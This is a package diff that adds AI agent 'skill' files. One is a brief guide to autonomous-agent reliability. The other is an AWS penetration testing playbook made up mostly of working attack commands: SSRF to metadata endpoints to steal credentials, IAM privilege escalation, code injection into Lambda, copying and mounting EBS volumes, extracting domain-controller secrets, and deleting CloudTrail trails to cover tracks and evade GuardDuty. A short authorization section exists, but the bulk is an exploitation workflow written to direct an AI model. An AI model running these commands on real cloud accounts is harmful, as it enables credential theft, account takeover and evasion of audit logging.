@namch/agent-assistant 1.0.0 → 1.0.2

package/skills/autonomous-agents/SKILL.md

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+---
+name: autonomous-agents
+description: "Autonomous agents are AI systems that can independently decompose goals, plan actions, execute tools, and self-correct without constant human guidance. The challenge isn't making them capable - it's making them reliable. Every extra decision multiplies failure probability.  This skill covers agent loops (ReAct, Plan-Execute), goal decomposition, reflection patterns, and production reliability. Key insight: compounding error rates kill autonomous agents. A 95% success rate per step drops to 60% b"
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Autonomous Agents
+
+You are an agent architect who has learned the hard lessons of autonomous AI.
+You've seen the gap between impressive demos and production disasters. You know
+that a 95% success rate per step means only 60% by step 10.
+
+Your core insight: Autonomy is earned, not granted. Start with heavily
+constrained agents that do one thing reliably. Add autonomy only as you prove
+reliability. The best agents look less impressive but work consistently.
+
+You push for guardrails before capabilities, logging befor
+
+## Capabilities
+
+- autonomous-agents
+- agent-loops
+- goal-decomposition
+- self-correction
+- reflection-patterns
+- react-pattern
+- plan-execute
+- agent-reliability
+- agent-guardrails
+
+## Patterns
+
+### ReAct Agent Loop
+
+Alternating reasoning and action steps
+
+### Plan-Execute Pattern
+
+Separate planning phase from execution
+
+### Reflection Pattern
+
+Self-evaluation and iterative improvement
+
+## Anti-Patterns
+
+### ❌ Unbounded Autonomy
+
+### ❌ Trusting Agent Outputs
+
+### ❌ General-Purpose Autonomy
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | critical | ## Reduce step count |
+| Issue | critical | ## Set hard cost limits |
+| Issue | critical | ## Test at scale before production |
+| Issue | high | ## Validate against ground truth |
+| Issue | high | ## Build robust API clients |
+| Issue | high | ## Least privilege principle |
+| Issue | medium | ## Track context usage |
+| Issue | medium | ## Structured logging |
+
+## Related Skills
+
+Works well with: `agent-tool-builder`, `agent-memory-systems`, `multi-agent-orchestration`, `agent-evaluation`

package/skills/aws-penetration-testing/SKILL.md

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+---
+name: AWS Penetration Testing
+description: This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# AWS Penetration Testing
+
+## Purpose
+
+Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
+
+## Inputs/Prerequisites
+
+- AWS CLI configured with credentials
+- Valid AWS credentials (even low-privilege)
+- Understanding of AWS IAM model
+- Python 3, boto3 library
+- Tools: Pacu, Prowler, ScoutSuite, SkyArk
+
+## Outputs/Deliverables
+
+- IAM privilege escalation paths
+- Extracted credentials and secrets
+- Compromised EC2/Lambda/S3 resources
+- Persistence mechanisms
+- Security audit findings
+
+---
+
+## Essential Tools
+
+| Tool | Purpose | Installation |
+|------|---------|--------------|
+| Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` |
+| SkyArk | Shadow Admin discovery | `Import-Module .\SkyArk.ps1` |
+| Prowler | Security auditing | `pip install prowler` |
+| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` |
+| enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` |
+| Principal Mapper | IAM analysis | `pip install principalmapper` |
+
+---
+
+## Core Workflow
+
+### Step 1: Initial Enumeration
+
+Identify the compromised identity and permissions:
+
+```bash
+# Check current identity
+aws sts get-caller-identity
+
+# Configure profile
+aws configure --profile compromised
+
+# List access keys
+aws iam list-access-keys
+
+# Enumerate permissions
+./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
+```
+
+### Step 2: IAM Enumeration
+
+```bash
+# List all users
+aws iam list-users
+
+# List groups for user
+aws iam list-groups-for-user --user-name TARGET_USER
+
+# List attached policies
+aws iam list-attached-user-policies --user-name TARGET_USER
+
+# List inline policies
+aws iam list-user-policies --user-name TARGET_USER
+
+# Get policy details
+aws iam get-policy --policy-arn POLICY_ARN
+aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
+
+# List roles
+aws iam list-roles
+aws iam list-attached-role-policies --role-name ROLE_NAME
+```
+
+### Step 3: Metadata SSRF (EC2)
+
+Exploit SSRF to access metadata endpoint (IMDSv1):
+
+```bash
+# Access metadata endpoint
+http://169.254.169.254/latest/meta-data/
+
+# Get IAM role name
+http://169.254.169.254/latest/meta-data/iam/security-credentials/
+
+# Extract temporary credentials
+http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
+
+# Response contains:
+{
+  "AccessKeyId": "ASIA...",
+  "SecretAccessKey": "...",
+  "Token": "...",
+  "Expiration": "2019-08-01T05:20:30Z"
+}
+```
+
+**For IMDSv2 (token required):**
+
+```bash
+# Get token first
+TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
+  "http://169.254.169.254/latest/api/token")
+
+# Use token for requests
+curl -H "X-aws-ec2-metadata-token:$TOKEN" \
+  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
+```
+
+**Fargate Container Credentials:**
+
+```bash
+# Read environment for credential path
+/proc/self/environ
+# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
+
+# Access credentials
+http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
+```
+
+---
+
+## Privilege Escalation Techniques
+
+### Shadow Admin Permissions
+
+These permissions are equivalent to administrator:
+
+| Permission | Exploitation |
+|------------|--------------|
+| `iam:CreateAccessKey` | Create keys for admin user |
+| `iam:CreateLoginProfile` | Set password for any user |
+| `iam:AttachUserPolicy` | Attach admin policy to self |
+| `iam:PutUserPolicy` | Add inline admin policy |
+| `iam:AddUserToGroup` | Add self to admin group |
+| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role |
+| `lambda:UpdateFunctionCode` | Inject code into Lambda |
+
+### Create Access Key for Another User
+
+```bash
+aws iam create-access-key --user-name target_user
+```
+
+### Attach Admin Policy
+
+```bash
+aws iam attach-user-policy --user-name my_username \
+  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
+```
+
+### Add Inline Admin Policy
+
+```bash
+aws iam put-user-policy --user-name my_username \
+  --policy-name admin_policy \
+  --policy-document file://admin-policy.json
+```
+
+### Lambda Privilege Escalation
+
+```python
+# code.py - Inject into Lambda function
+import boto3
+
+def lambda_handler(event, context):
+    client = boto3.client('iam')
+    response = client.attach_user_policy(
+        UserName='my_username',
+        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
+    )
+    return response
+```
+
+```bash
+# Update Lambda code
+aws lambda update-function-code --function-name target_function \
+  --zip-file fileb://malicious.zip
+```
+
+---
+
+## S3 Bucket Exploitation
+
+### Bucket Discovery
+
+```bash
+# Using bucket_finder
+./bucket_finder.rb wordlist.txt
+./bucket_finder.rb --download --region us-east-1 wordlist.txt
+
+# Common bucket URL patterns
+https://{bucket-name}.s3.amazonaws.com
+https://s3.amazonaws.com/{bucket-name}
+```
+
+### Bucket Enumeration
+
+```bash
+# List buckets (with creds)
+aws s3 ls
+
+# List bucket contents
+aws s3 ls s3://bucket-name --recursive
+
+# Download all files
+aws s3 sync s3://bucket-name ./local-folder
+```
+
+### Public Bucket Search
+
+```
+https://buckets.grayhatwarfare.com/
+```
+
+---
+
+## Lambda Exploitation
+
+```bash
+# List Lambda functions
+aws lambda list-functions
+
+# Get function code
+aws lambda get-function --function-name FUNCTION_NAME
+# Download URL provided in response
+
+# Invoke function
+aws lambda invoke --function-name FUNCTION_NAME output.txt
+```
+
+---
+
+## SSM Command Execution
+
+Systems Manager allows command execution on EC2 instances:
+
+```bash
+# List managed instances
+aws ssm describe-instance-information
+
+# Execute command
+aws ssm send-command --instance-ids "i-0123456789" \
+  --document-name "AWS-RunShellScript" \
+  --parameters commands="whoami"
+
+# Get command output
+aws ssm list-command-invocations --command-id "CMD-ID" \
+  --details --query "CommandInvocations[].CommandPlugins[].Output"
+```
+
+---
+
+## EC2 Exploitation
+
+### Mount EBS Volume
+
+```bash
+# Create snapshot of target volume
+aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
+
+# Create volume from snapshot
+aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
+
+# Attach to attacker instance
+aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
+
+# Mount and access
+sudo mkdir /mnt/stolen
+sudo mount /dev/xvdf1 /mnt/stolen
+```
+
+### Shadow Copy Attack (Windows DC)
+
+```bash
+# CloudCopy technique
+# 1. Create snapshot of DC volume
+# 2. Share snapshot with attacker account
+# 3. Mount in attacker instance
+# 4. Extract NTDS.dit and SYSTEM
+secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
+```
+
+---
+
+## Console Access from API Keys
+
+Convert CLI credentials to console access:
+
+```bash
+git clone https://github.com/NetSPI/aws_consoler
+aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
+
+# Generates signin URL for console access
+```
+
+---
+
+## Covering Tracks
+
+### Disable CloudTrail
+
+```bash
+# Delete trail
+aws cloudtrail delete-trail --name trail_name
+
+# Disable global events
+aws cloudtrail update-trail --name trail_name \
+  --no-include-global-service-events
+
+# Disable specific region
+aws cloudtrail update-trail --name trail_name \
+  --no-include-global-service-events --no-is-multi-region-trail
+```
+
+**Note:** Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.
+
+---
+
+## Quick Reference
+
+| Task | Command |
+|------|---------|
+| Get identity | `aws sts get-caller-identity` |
+| List users | `aws iam list-users` |
+| List roles | `aws iam list-roles` |
+| List buckets | `aws s3 ls` |
+| List EC2 | `aws ec2 describe-instances` |
+| List Lambda | `aws lambda list-functions` |
+| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
+
+---
+
+## Constraints
+
+**Must:**
+- Obtain written authorization before testing
+- Document all actions for audit trail
+- Test in scope resources only
+
+**Must Not:**
+- Modify production data without approval
+- Leave persistent backdoors without documentation
+- Disable security controls permanently
+
+**Should:**
+- Check for IMDSv2 before attempting metadata attacks
+- Enumerate thoroughly before exploitation
+- Clean up test resources after engagement
+
+---
+
+## Examples
+
+### Example 1: SSRF to Admin
+
+```bash
+# 1. Find SSRF vulnerability in web app
+https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
+
+# 2. Get role name from response
+# 3. Extract credentials
+https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
+
+# 4. Configure AWS CLI with stolen creds
+export AWS_ACCESS_KEY_ID=ASIA...
+export AWS_SECRET_ACCESS_KEY=...
+export AWS_SESSION_TOKEN=...
+
+# 5. Verify access
+aws sts get-caller-identity
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| Access Denied on all commands | Enumerate permissions with enumerate-iam |
+| Metadata endpoint blocked | Check for IMDSv2, try container metadata |
+| GuardDuty alerts | Use Pacu with custom user-agent |
+| Expired credentials | Re-fetch from metadata (temp creds rotate) |
+| CloudTrail logging actions | Consider disable or log obfuscation |
+
+---
+
+## Additional Resources
+
+For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see [references/advanced-aws-pentesting.md](references/advanced-aws-pentesting.md).